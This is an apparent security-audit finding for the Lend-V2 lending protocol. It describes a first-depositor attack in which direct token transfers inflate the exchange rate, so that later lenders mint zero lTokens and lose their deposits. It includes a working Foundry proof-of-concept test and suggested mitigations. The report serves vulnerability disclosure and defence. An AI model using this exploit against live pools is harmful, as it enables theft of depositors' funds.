Dandy Fiery Alligator

High

# [H-02] -- First depositor can artificially inflate the exchange rate and steal subsequent deposits

### Summary

The first depositor in a pool can deposit the minimum amount of a token necessary to mint 1 `lToken`. They can then send a large amount of the token directly to the `lToken` address and artificially inflate `exchangeRateBefore` which causes future deposits from unsuspecting lenders to mint 0 `lTokens`. The attacker can then redeem their `lTokens` and receive all their funds (including their large send) and the lenders deposit. 

### Root Cause

Line 74 of `CoreRouter::redeem` retrieves `exchangeRateBefore` which has been artificially inflated by the attacker.

Line 80 of `CoreRouter::redeem` takes the `amount` submitted by the depositor, multiplies it by a `1e18` scalar and divides it by `exchangeRateBefore`. The issue is that since `exchangeRateBefore` has been so inflated, this value will evaluate to 0 and not credit the lender with any `lTokens` in their `totalInvestment`. 

The protocol also does not enforce a minimum deposit value or initialize the contract with initial liquidity to prevent such an attack.

https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/CoreRouter.sol#L61-L92

### Internal Pre-conditions

1. The pool must have no previous depositors. This attack is valid for new pools that don't have an established exchange rate.

### External Pre-conditions

N/A

### Attack Path

1. An attacker calls `CoreRouter::supply` with the minimum amount of tokens necessary to mint 1 `lToken`. For the example provided this is `2e8` worth of a token since the `exchangeRateInternal` mantissa is `2e26`. (2e8 * 1e18) / 2e26 = 1.

2. The attacker then directly sends tokens to the `lToken` contract such that the exchange rate will be artificially inflated so that the next depositor will end up minting 0 shares of the `lToken`.

3. The lender deposits and ends up receiving 0 shares because the exchange rate.

4. The attacker calls `CoreRouter::redeem` to redeem their `lToken` and withdraw all the funds from the pool: their initial deposit, their funds they sent, and the lenders deposit. 

### Impact

A lender depositing subsequent to the attacker could lose 100% of their deposit value. In the coded POC, I show an example of a lender losing 50e18 (50 tokens) worth of a deposit. Depending on the token, that could be a substantial amount of nominal value. Empty pool type attacks in the past have resulted in millions to hundred of millions of dollars in losses depending on the preconditions and sophistication of the attacker. 

### PoC

The below script `TestFirstDepositor.t.sol` outlines the attack path and displays an attacker stealing 50 tokens worth of a deposit by a lender after artificially inflating the exchange rate. Place the script in a folder called `poc` in the `test` section and run `forge test --match-test test_first_depositor -vvv` to see the output logs.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.23;

import {Test, console} from "forge-std/Test.sol";
import {Deploy} from "../../script/Deploy.s.sol";
import {HelperConfig} from "../../script/HelperConfig.s.sol";
import {CrossChainRouterMock} from "../mocks/CrossChainRouterMock.sol";
import {CoreRouter} from "../../src/LayerZero/CoreRouter.sol";
import {LendStorage} from "../../src/LayerZero/LendStorage.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
import {Lendtroller} from "../../src/Lendtroller.sol";
import {InterestRateModel} from "../../src/InterestRateModel.sol";
import {SimplePriceOracle} from "../../src/SimplePriceOracle.sol";
import {LTokenInterface} from "../../src/LTokenInterfaces.sol";
import {LToken} from "../../src/LToken.sol";
import "@layerzerolabs/lz-evm-oapp-v2/test/TestHelper.sol";

contract TestFirstDepositor is Test {
    HelperConfig public helperConfig;
    address public layerZeroEndpoint;
    address[] public supportedTokens;
    bool public isTestnet;
    address public deployer;
    address public attacker;
    address public lender;

    CrossChainRouterMock public router;
    LendStorage public lendStorage;
    CoreRouter public coreRouter;
    Lendtroller public lendtroller;
    InterestRateModel public interestRateModel;
    SimplePriceOracle public priceOracle;

    TestHelper public testHelper;

    address[] public lTokens;

    // Events to test
    event BorrowSuccess(address indexed borrower, address indexed lToken, uint256 accountBorrow);

    function setUp() public {
        deployer = makeAddr("deployer");
        attacker = makeAddr("attacker");
        lender = makeAddr("lender");

        // Deploy the entire protocol
        Deploy deploy = new Deploy();
        (
            address priceOracleAddress,
            address lendtrollerAddress,
            address interestRateModelAddress,
            address[] memory lTokenAddresses,
            address payable routerAddress,
            address payable coreRouterAddress,
            address lendStorageAddress,
            address _layerZeroEndpoint,
            address[] memory _supportedTokens
        ) = deploy.run();

        // Store the values in contract state variables
        router = CrossChainRouterMock(routerAddress);
        lendStorage = LendStorage(lendStorageAddress);
        coreRouter = CoreRouter(coreRouterAddress);
        lendtroller = Lendtroller(lendtrollerAddress);
        interestRateModel = InterestRateModel(interestRateModelAddress);
        priceOracle = SimplePriceOracle(priceOracleAddress);
        lTokens = lTokenAddresses;
        layerZeroEndpoint = _layerZeroEndpoint;
        supportedTokens = _supportedTokens;

        testHelper = TestHelper(payable(layerZeroEndpoint));

        // Set up initial prices for supported tokens
        for (uint256 i = 0; i < supportedTokens.length; i++) {
            priceOracle.setDirectPrice(supportedTokens[i], 1e18);
        }
    }

    // Helper function to supply tokens before testing borrowing
    function _supply(uint256 amount) internal returns (address token, address lToken) {
        token = supportedTokens[0];
        lToken = lendStorage.underlyingTolToken(token);

        vm.startPrank(attacker);
        ERC20Mock(token).mint(attacker, amount);
        IERC20(token).approve(address(coreRouter), amount);
        coreRouter.supply(amount, token);
        vm.stopPrank();
    }

    function test_first_depositor() public {
        _supply(200000000);
        address token = supportedTokens[0];
        address lToken = lendStorage.underlyingTolToken(token);
        ERC20Mock(token).mint(attacker, 1000 ether);
        vm.startPrank(attacker);
        IERC20(token).transfer(address(lToken), 1000 ether);
        vm.stopPrank();

        vm.startPrank(lender);
        ERC20Mock(token).mint(lender, 50 ether);
        IERC20(token).approve(address(coreRouter), 50 ether);
        coreRouter.supply(50 ether, token);
        vm.stopPrank();

        uint256 lender_lTokenBalance = lendStorage.totalInvestment(lender, lToken);
        console.log("L Token Lender Balance: ", lender_lTokenBalance);

        vm.startPrank(attacker);
        uint256 lTokenBalanceToRedeem = lendStorage.totalInvestment(attacker, lToken);
        coreRouter.redeem(lTokenBalanceToRedeem, payable(lToken));
        vm.stopPrank();

        console.log("Attacker Token Balance: ", IERC20(token).balanceOf(attacker));
        console.log("Lender Token Balance: ", IERC20(token).balanceOf(lender));
    }
}
```

### Mitigation

1. Enforce a minimum deposit amount in `CoreRouter::supply` so that the exchange rate cannot be artificially inflated

2. Upon deployment/initialization of the pools, the protocol should immediately mint protocol owned shares to set an exchange rate. Take care that these cannot be front run by an attacker. 